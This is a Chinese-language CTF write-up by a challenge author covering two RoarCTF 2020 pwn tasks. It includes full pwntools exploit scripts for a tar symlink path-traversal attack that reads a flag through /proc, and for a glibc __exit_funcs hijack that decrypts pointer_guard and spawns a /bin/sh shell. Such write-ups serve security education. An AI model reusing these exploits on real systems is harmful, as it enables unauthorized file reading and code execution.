机缘巧合出了两道pwn,希望各位师傅们玩儿的开心…
题目源码/附件/exp: https://github.com/TaQini/ctf/tree/master/roarctf2020
qtar
考察路径穿越,有两处限制:一是路径中不能出现/
和.
且tar文件内部中不能出现home
,二是只能解压先前被压缩的文件且只能读取被解压出的文件。主要思路就是构造指向/home/ctf/flag
的软链接并且绕过检测读取之。
使用软链接读取实现任意目标文件的具体流程如下:
相关代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| def leak(filename): f1 = upload('taqini know the flag') log.info('uploaded file: '+f1)
c1 = compress(f1,'TaQini') log.info('compressed file: '+c1) log.info('archive file name: '+'TaQini')
os.system('ln -s %s %s'%(filename, c1)) os.system('tar cvf payload.tar '+c1+' >/dev/null') payload = open('payload.tar').read()
f2 = upload(payload) log.info('uploaded file '+f2)
c2 = compress(f2, c1) log.info('compressed file: '+c2) log.info('archive file name: '+c1)
extract(c2) log.info('extract '+c2+' --> '+c1)
extract(c1) log.info('extract '+c1+' --> '+c1)
log.info('readfile: '+c1) data = readfile(c1)
log.success('data:'+data) return data
|
helper func:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| def upload(data): sla('> ','u') sla('Content:',data) ru('as /tmp/') return rc(32)
def compress(filename, arcname): sla('> ','c') sla('Filename: /tmp/',filename) sla('Rename archive file? [y/N]','y') sla('Arcname: ',arcname) ru('as ') return rc(32)
def extract(filename): sla('> ','x') sla('Filename:',filename)
def readfile(filename): sla('> ','r') sla('Filename:',filename) return ru('\n')
|
可能不太好想到的就是绕过home
检测的方式叭:
- 通过读取
/proc/self/stat
泄漏父进程pid
- 再通过读取
/proc/父进程pid/cwd/flag
读取flag
根据附件启动脚本
1 2 3
| #!/bin/bash cd /home/ctf stdbuf -i 0 -o 0 -e 0 /usr/bin/timeout 90 ./qtar
|
可知qtar
的父进程cwd
为/home/ctf
全部exp为:
1 2 3 4
| pid = leak('/proc/self/stat').split()[3] print pid flag = leak('/proc/%s/cwd/flag'%pid) print flag
|
2a1
魔改的前一阵刚结束的nu1lctf2020… 环境改成了Ubuntu16,加了一个任意读,大概调试一下就能解出叭…
主要思路就是任意写打__exit_funcs
,伪造inital
结构体中的exit_function
实现控制流劫持,其中exit_function
是被加密的,加密用的point_guard
在tls
结构体中(canary
的后边),通过任意读来泄漏。
__run_exit_handlers
源码位于stdlib/exit.c
感兴趣的小伙伴儿们可以去康康。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92
|
from pwn import *
local_file = './2+1' local_libc = '/lib/x86_64-linux-gnu/libc.so.6' remote_libc = './libc.so.6'
is_local = False is_remote = False
if len(sys.argv) == 1: is_local = True p = process(local_file) libc = ELF(local_libc) elif len(sys.argv) > 1: is_remote = True if len(sys.argv) == 3: host = sys.argv[1] port = sys.argv[2] else: host, port = sys.argv[1].split(':') p = remote(host, port) libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug' context.arch = elf.arch
se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) sea = lambda delim,data :p.sendafter(delim, data) rc = lambda numb=4096 :p.recv(numb) ru = lambda delims, drop=True :p.recvuntil(delims, drop) uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) info_addr = lambda tag :p.info(tag + ': {:#x}'.format(eval(tag)))
def debug(cmd=''): if is_local: gdb.attach(p,cmd)
def ROL(data,off): tmp = bin(data)[2:].rjust(64,'0') return int(tmp[off:]+tmp[:off],2)
def ROR(data,off): tmp = bin(data)[2:].rjust(64,'0') return int(tmp[64-off:]+tmp[:64-off],2)
ru('Gift: ') libcbase = eval(ru('\n')) - libc.sym['alarm'] info_addr('libcbase')
system = libcbase + libc.sym['system'] binsh = libcbase + libc.search('/bin/sh').next()
pointer_guard = 0x5e3730 + libcbase if is_remote: pointer_guard = 0x5ed730 + libcbase print 'remote now....' info_addr('pointer_guard')
sea('read?:',p64(pointer_guard)) ru('data: ') pg = u64(rc(8)) info_addr('pg')
__exit_funcs = 0x3c45f8 + libcbase info_addr('__exit_funcs')
sea('write?:',p64(__exit_funcs))
msg = p64(0) msg += p64(1) msg += p64(4) msg += p64(ROL(system^pg,0x11)) + p64(binsh)
sla('msg: ', msg)
p.interactive()
|